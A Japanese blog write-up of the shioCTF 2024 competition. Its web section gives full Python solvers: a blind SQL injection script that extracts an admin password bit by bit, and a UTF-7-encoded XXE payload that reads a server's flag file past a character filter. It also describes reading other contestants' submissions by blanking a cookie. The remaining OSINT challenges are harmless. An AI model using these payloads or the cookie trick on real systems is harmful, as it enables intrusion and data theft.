プログラム系統備忘録ブログ

記事中のコードは自己責任の下でご自由にどうぞ。

shioCTF 2024 write-up

shioCTF 2024へ参加しました。そのwrite-up記事です。

コンテスト概要

2024/02/12(月・祝) 12:00 +09:00 - 2024/02/14(水) 12:00 +09:00 の48時間開催でした。

結果

7問全問解けました!

環境

主にWindowsのWSL2(Ubuntu 22.04)を使って取り組みました。

Windows

c:\>ver

Microsoft Windows [Version 10.0.19045.3996]

c:\>wsl -l -v
  NAME                   STATE           VERSION
* Ubuntu-22.04           Running         2
  kali-linux             Stopped         2
  docker-desktop-data    Running         2
  docker-desktop         Running         2

c:\>

WSL2(Ubuntu 22.04)

$ cat /proc/version
Linux version 5.15.133.1-microsoft-standard-WSL2 (root@1c602f52c2e4) (gcc (GCC) 11.2.0, GNU ld (GNU Binutils) 2.37) #1 SMP Thu Oct 5 21:02:42 UTC 2023
$ cat /etc/os-release
PRETTY_NAME="Ubuntu 22.04.3 LTS"
NAME="Ubuntu"
VERSION_ID="22.04"
VERSION="22.04.3 LTS (Jammy Jellyfish)"
VERSION_CODENAME=jammy
ID=ubuntu
ID_LIKE=debian
HOME_URL="https://www.ubuntu.com/"
SUPPORT_URL="https://help.ubuntu.com/"
BUG_REPORT_URL="https://bugs.launchpad.net/ubuntu/"
PRIVACY_POLICY_URL="https://www.ubuntu.com/legal/terms-and-policies/privacy-policy"
UBUNTU_CODENAME=jammy
$ python3 --version
Python 3.10.12
$ python3 -m pip show requests | grep Version
Version: 2.25.1
$ docker --version
Docker version 20.10.24, build 297e128
$ docker-compose --version
Docker Compose version v2.17.2
$

解けた問題

いくつかの問題ではヒントが提供されていました。ヒントはペナルティ無しで閲覧できるもので、スコア減少等は全くありませんでした。率先してヒントを見ました。

なお、各問題を何名解いているのかを普段は併記しているのですが、終了後の現状では問題一覧ページの内容が変改していて確認できないようです。そのため今回は核問題の点数のみ記載しています(点数は各ユーザーのページから閲覧できます)。

[Welcome] to ShioCTF (100 points)

shioCTF{flag}

問題文がフラグそのものです。shioCTF{flag}を提出して正解できました。

[Web, Warmup] simpleDB (172 points)

adminのパスワードを特定してください!
http://<念のため削除>:49999/

配布ファイルとして、サーバー側プログラムの各種ファイルがありました:

$ find . -type f -print0 | xargs -0 file
./app.py:               Python script, ASCII text executable, with CRLF line terminators
./docker-compose.yml:   ASCII text
./Dockerfile:           ASCII text, with CRLF line terminators
./templates/index.html: HTML document, ASCII text, with CRLF line terminators
$

サーバー側プログラムのapp.pyは以下の内容です:

from flask import Flask, request, jsonify, render_template
import sqlite3

app = Flask(__name__)

def init_db():
    conn = sqlite3.connect('database.db')
    c = conn.cursor()
    c.execute('CREATE TABLE IF NOT EXISTS users(id INTEGER PRIMARY KEY, username TEXT, password TEXT)')
    c.execute("INSERT INTO users (username, password) VALUES ('admin', 'shioCTF{**SECRET**}')")
    conn.commit()
    conn.close()

init_db()

@app.route('/', methods=['GET', 'POST'])
def login():
    if request.method == 'POST':
        username = request.form['username']
        password = request.form['password']
        conn = sqlite3.connect('database.db')
        c = conn.cursor()
        query = f"SELECT * FROM users WHERE username = '{username}' AND password = '{password}'"
        c.execute(query)
        result = c.fetchone()
        conn.close()
        if result:
            return jsonify({'message': 'Login successful!'}), 200
        else:
            return jsonify({'message': 'Login failed!'}), 401
    else:
        return render_template('index.html')

if __name__ == '__main__':
    app.run(debug=True, host='0.0.0.0', port=49999)

SQL文を構築する際にユーザー入力内容をそのまま使用しているため、SQL Injectionできます。また、レスポンスとしてログイン可否が返るのでパスワードを推測できます。それらを利用してソルバーを書きました:

#!/usr/bin/env python3

import requests

# URL = "http://localhost:5000/" # docker環境の検証用
URL = "http://<念のため削除>:49999/" # 問題サーバー用

def check(session, index, bit):
    data = {
        # "username": f"admin' AND ((UNICODE(SUBSTRING(password, {index+1}, 1)) & {1<<bit}) <> 0) -- xxx", # ローカルではうまくいくけど、どうにもリモートじゃ全部失敗扱い
        "username": f"admin' AND ((UNICODE(SUBSTR(password, {index+1}, 1)) & {1<<bit}) <> 0) -- xxx",
        "password": "dummy"
        }
    response = session.post(URL, data=data)
    return response.status_code == 200

candidates = range(0x20, 0x7f)
with requests.Session() as session:
    flag = ""
    while True:
        current = 0
        for bit in range(8):
            if check(session, len(flag), bit):
                current |= (1 << bit)
        print(current)
        if current == 0:
            break
        flag += chr(current)
        print(flag)

実行しました:

$ python3 solve.py
115
s
104
sh
105
shi
111
shio
67
shioC
84
shioCT
70
shioCTF
123
shioCTF{
98
shioCTF{b
49
shioCTF{b1
105
shioCTF{b1i
110
shioCTF{b1in
100
shioCTF{b1ind
95
shioCTF{b1ind_
115
shioCTF{b1ind_s
113
shioCTF{b1ind_sq
108
shioCTF{b1ind_sql
105
shioCTF{b1ind_sqli
95
shioCTF{b1ind_sqli_
105
shioCTF{b1ind_sqli_i
53
shioCTF{b1ind_sqli_i5
95
shioCTF{b1ind_sqli_i5_
100
shioCTF{b1ind_sqli_i5_d
52
shioCTF{b1ind_sqli_i5_d4
110
shioCTF{b1ind_sqli_i5_d4n
103
shioCTF{b1ind_sqli_i5_d4ng
101
shioCTF{b1ind_sqli_i5_d4nge
114
shioCTF{b1ind_sqli_i5_d4nger
48
shioCTF{b1ind_sqli_i5_d4nger0
117
shioCTF{b1ind_sqli_i5_d4nger0u
53
shioCTF{b1ind_sqli_i5_d4nger0u5
33
shioCTF{b1ind_sqli_i5_d4nger0u5!
125
shioCTF{b1ind_sqli_i5_d4nger0u5!}
0
$

フラグを入手できました: shioCTF{b1ind_sqli_i5_d4nger0u5!}

なお、実装当初にソルバーを動かすとshioCTF{j;kn}_sqli_i5_d4nger0u5!}というフラグ内容最初5文字が化けた内容を取得してしまっていて困っていました。スリープ等の待ち時間を全く入れていないソルバーだったので、そのあたりで負荷をかけすぎてしまったのかもしれません……。時間をおいて再実行すると、前述の通りの正しいフラグを得られました。

[Web, Medium] card (258 points)

誕生日カードを送り合えるWebアプリができました!
http://<念のため削除>:60001/

配布ファイルとして、サーバー側プログラムの各種ファイルがありました:

$ find . -type f -print0 | xargs -0 file
./app.py:              Python script, ASCII text executable, with CRLF line terminators
./database.db:         SQLite 3.x database, last written using SQLite version 3038002, file counter 10, database pages 2, cookie 0x1, schema 4, UTF-8, version-valid-for 10
./docker-compose.yml:  ASCII text, with CRLF line terminators
./Dockerfile:          ASCII text, with CRLF line terminators
./flag.txt:            ASCII text, with no line terminators
./templates/home.html: HTML document, Unicode text, UTF-8 text, with CRLF line terminators
./templates/send.html: HTML document, Unicode text, UTF-8 text, with CRLF line terminators
./templates/view.html: HTML document, Unicode text, UTF-8 text, with CRLF line terminators
$

サーバー側プログラムのapp.pyは以下の内容です:

from flask import Flask, request, make_response, render_template, redirect, url_for
from lxml import etree
import os
import secrets
import uuid

app = Flask(__name__)

cards_directory = "cards"
os.makedirs(cards_directory, exist_ok=True)

@app.route('/')
def index():
    user_id = request.cookies.get('user_id')
    if not user_id:
        response = make_response(render_template('home.html'))
        user_id = secrets.token_hex(16)
        response.set_cookie('user_id', user_id)
        return response
    else:
        return render_template('home.html')

@app.route('/send', methods=['GET', 'POST'])
def send():
    if request.method == 'POST':
        recipient_id = request.form['recipient_id']
        card_data = request.form['card_data']

        card_data = card_data.replace('&','')
        card_data = card_data.replace('%','')

        file_name = f"{recipient_id}_{uuid.uuid4()}.xml"
        file_path = os.path.join(cards_directory, file_name)

        with open(file_path, 'w') as file:
            file.write(card_data)

        return redirect(url_for('index'))
    else:
        return render_template('send.html')

@app.route('/view')
def view():
    user_id = request.cookies.get('user_id')
    card_files = [f for f in os.listdir(cards_directory) if f.startswith(user_id)]
    cards = []

    parser = etree.XMLParser(load_dtd=True, no_network=False, resolve_entities=True)

    for card_file in card_files:
        file_path = os.path.join(cards_directory, card_file)
        try:
            with open(file_path, 'rb') as file:
                xml_data = etree.parse(file, parser)
                message = xml_data.xpath('/card/message/text()')
                if message:
                    cards.append(message[0])
                else:
                    cards.append("Invalid card format.")
        except etree.XMLSyntaxError as e:
            cards.append(f"Error parsing XML: {e}")

    return render_template('view.html', cards=cards)

if __name__ == '__main__':
    app.run(debug=True, host='0.0.0.0', port=60001)

なお、app.pyではflag.txtを一切触っていませんが、以下のDockerfileの記述から/app/flag.txtに配置されることが分かります:

FROM python:3.11

RUN pip3 install flask

RUN pip3 install lxml

WORKDIR /app

ADD . .

CMD ["python3", "app.py"]

さて、app.pyではXML関係を扱っており、DTDの読み込みやエンティティの解決を行う引数を指定しているため、XXEの脆弱性がありそうに思いました。XXEではLFIができるため、flag.txt内容を読み込めそうです。一方で、XMLファイルとして書き込むcard_dataの内容から%文字と&文字を削除しています。その2つの文字を使わずにXXEをどのように達成できるか、と問われている問題と理解しました。

困った挙げ句の嘘解法

XXE - XEE - XML External Entity - HackTricksなどでXXEの手法をひたすら調べましたが、おおよその手法で%文字か&文字を使うように見えました。唯一それらの文字を使わないXIncludeを使う手法も試しましたが、どうにも全くファイル読み込みできませんでした。

2024/02/15(木) 21:45頃追記: HackTricksページ中にUTF-7の話もありました!完全に見逃していました!

ものすごく悩みながらapp.pyを読み直すと、クッキーのuser_id値を検証なしに使っていることに気付きました。user_idを空文字列に設定すれば、/viewエンドポイントで読み込むXMLファイルを判定しているf.startswith(user_id)をすべてTrueにでき、他の参加者様の投稿内容を横取りできそうです。試しました:

フラグが手に入ってしまいました: shioCTF{UTF7_1s_u5efu1_enc0d1ng}

この手法は、他の方が真っ当な方法でXXEを起こすXMLを作成している場合のみ有効です。すなわちどうあがいても初正解者になれない、非想定解法のはずです。

真っ当な解法でup-solve

フラグ内容から、utf-7エンコーディングを使うらしいことが分かりました。UTF-7UTF-7 - Wikipediaを調べると、+-で囲んだ領域はBase64エンコード結果を記述するため、/sendエンドポイントでの&文字削除から逃れられそうです。また、エンコーディングはXML宣言で記述できます。試行錯誤しながらソルバーを書きました:

#!/usr/bin/env python3

import requests
import base64

# BASE_URL = "http://127.0.0.1:5000" # docker環境用
BASE_URL = "http://<念のため削除>:60001" # 問題サーバー本番用

with requests.Session() as session:
    def send(client_id, card_data):
        data = {
            "recipient_id": client_id,
            "card_data": card_data,
            }
        response = session.post(BASE_URL + "/send", data=data)
        return response.text
    def view():
        response = session.get(BASE_URL + "/view")
        return response.text

    # get my user_id
    session.get(BASE_URL)
    client_id = session.cookies.get("user_id")

    # send data to cause XXE
    utf7_encoded = base64.b64encode("&".encode("utf-16-be")).decode().rstrip("=")
    card_data = f"""<?xml version="1.0" encoding="UTF-7"?>
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///app/flag.txt"> ]>
<card><message>+{utf7_encoded}-xxe;</message></card>
"""

    assert "&" not in card_data
    assert "%" not in card_data
    send(client_id, card_data)

    # get flag
    print(view())

実行しました:

$ ./solve.py
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>誕生日カードを見る</title>
    <link rel="stylesheet" href="https://stackpath.bootstrapcdn.com/bootstrap/4.5.2/css/bootstrap.min.css">
</head>
<body>
    <div class="container mt-5">
        <h2>誕生日カードを見る</h2>

            <div class="list-group">

                    <div class="list-group-item list-group-item-action">
                        shioCTF{UTF7_1s_u5efu1_enc0d1ng}

                    </div>

            </div>

    </div>
    <script src="https://code.jquery.com/jquery-3.5.1.slim.min.js"></script>
    <script src="https://cdn.jsdelivr.net/npm/bootstrap@4.5.2/dist/js/bootstrap.bundle.min.js"></script>
</body>
</html>
$

無事、想定解法らしい方法でもフラグを入手できました: shioCTF{UTF7_1s_u5efu1_enc0d1ng}

[OSINT, Warmup, guess?] club (100 points)

shioは大学のサークルでCTFdを使って、Webアプリをホストしたことがある。
そのサークル名を答えよ。
例えば、東京大学のTSGである場合は shioCTF{TSG} となる。
https://twitter.com/shiosa1t/status/1656154711505108992

Hint
ただの数字の羅列は良くないです。まさにこの瞬間、その恩恵を受けています。

配布ファイルはありません。一方で問題文記載のツイートから、2023/05/10にCTFdを使ったウェブサイトをホストしていることが分かります。

最初はTwitter(現X)の検索クエリを使ってfrom:shiosa1t since:2023-03-01 until:2023-08-30のように探そうとしましたが、検索結果はありませんとのことでした。確かそのようなクエリで日付指定できた気がするのですが、うまくいきませんでした。

他の方法を考えました。しお@shiosa1t氏のTwitterプロフィールから早稲田大学に所属していることが分かります。早稲田大学 CTF サークルでGoogle検索すると、【公式】コンピュータ研究会・WINC|早稲田大学公認のインカレプログラミングサークルがヒットしました。セキュリティチーム箇所の紹介でCTF活動も行っていそうです。試しにフラグ形式で提出してみると正解でした: shioCTF{WINC}

(ヒント内容ってどういった意味だったんでしょう……?)

[OSINT, Easy] aburasoba (100 points)

ある大学生に人気の油そば。
このお店で流れているBGMはずっと変わっていない。
その音楽の楽曲名を答えよ。
例えば、葬送のフリーレンは shioCTF{勇者} 等となる。

配布ファイルとして以下の画像がありました:

早稲田大学 油そばでGoogle検索すると早稲田といったら油そば!これを食べなきゃ眠れない夢の6選 | aumo[アウモ]がヒットしました。その記事で紹介されているお店、武蔵野アブラ學会 早稲田本店の油そばの写真が、配布ファイルの画像とよく似ています。そのお店で間違い無さそうです。

武蔵野アブラ學会 BGMでGoogle検索すると、武蔵野アブラ學会とは (ムサシノアブラガッカイとは) [単語記事] - ニコニコ大百科がヒットしました。店内BGMにはいつもルパン三世のテーマが流れており、學会の虜になった者はルパン三世のテーマを聴いただけでまるでパブロフの犬のごとくおなかを空かせてしまうだとか…とのものすごい記述があります。試しにフラグ形式で提出してみると正解でした: shioCTF{ルパン三世のテーマ}

[Misc, Easy, OSINT?] fictional mountain (100 points)

彼女が立っている山の標高をメートルで答えてください。
例えば、富士山の場合は shioCTF{3776} になります。

Hint
どの世界にも科学はあるはず

配布ファイルとして以下の画像がありました:

Google画像検索してみると、中心下側にいるキャラクターは、原神というゲームの雷電将軍というようです。ゲームは分かったので、後は左上のミニマップを頼りに場所を探せば良さそうです。

原神 地図でGoogle検索すると、【原神】マップナビ | 全体地図まとめ - ゲームウィズを見つけました。「大きな生き物の骨っぽいのが山の周りに転がっている場所」を各種マップから探すと、紅葉ノ庭マップの中央下側が同じ場所であるように見えます。山の名前そのものは記載されていませんが、付近が蛇神の首という地名であると分かりました。

原神 蛇神の首 標高でGoogle検索すると、原神科学:標高ランキング 原神 | HoYoLABを見つけました。問題文のヒントにある科学要素です!記事内を蛇神の首で検索すると、問題の山は八酝山と呼ぶようです。周辺にある画像から、八酝山頂の標高は158mらしいことが分かりました。試しにフラグ形式で提出してみると正解でした: shioCTF{158}

[Survey] google form (0 points)

アンケートにご協力ください
よろしくお願いいたします
https://forms.gle/<念のため削除>

真っ当にアンケートに回答しました。フラグを入手できました: shioCTF{Thank_you_very_much!}

感想

  • Web問題2問ともapp.pyが短く、理解するのが簡単で助かりました。
  • XXEを初めて使いました。またUTF-7も初めて使いました。面白かったです!
  • 武蔵野アブラ學会の記事をいくつか読みました。特徴的なお店のようです!
  • ゲーム内の地理座標(?)を全力で調査する人々がおられるんですね、驚きです!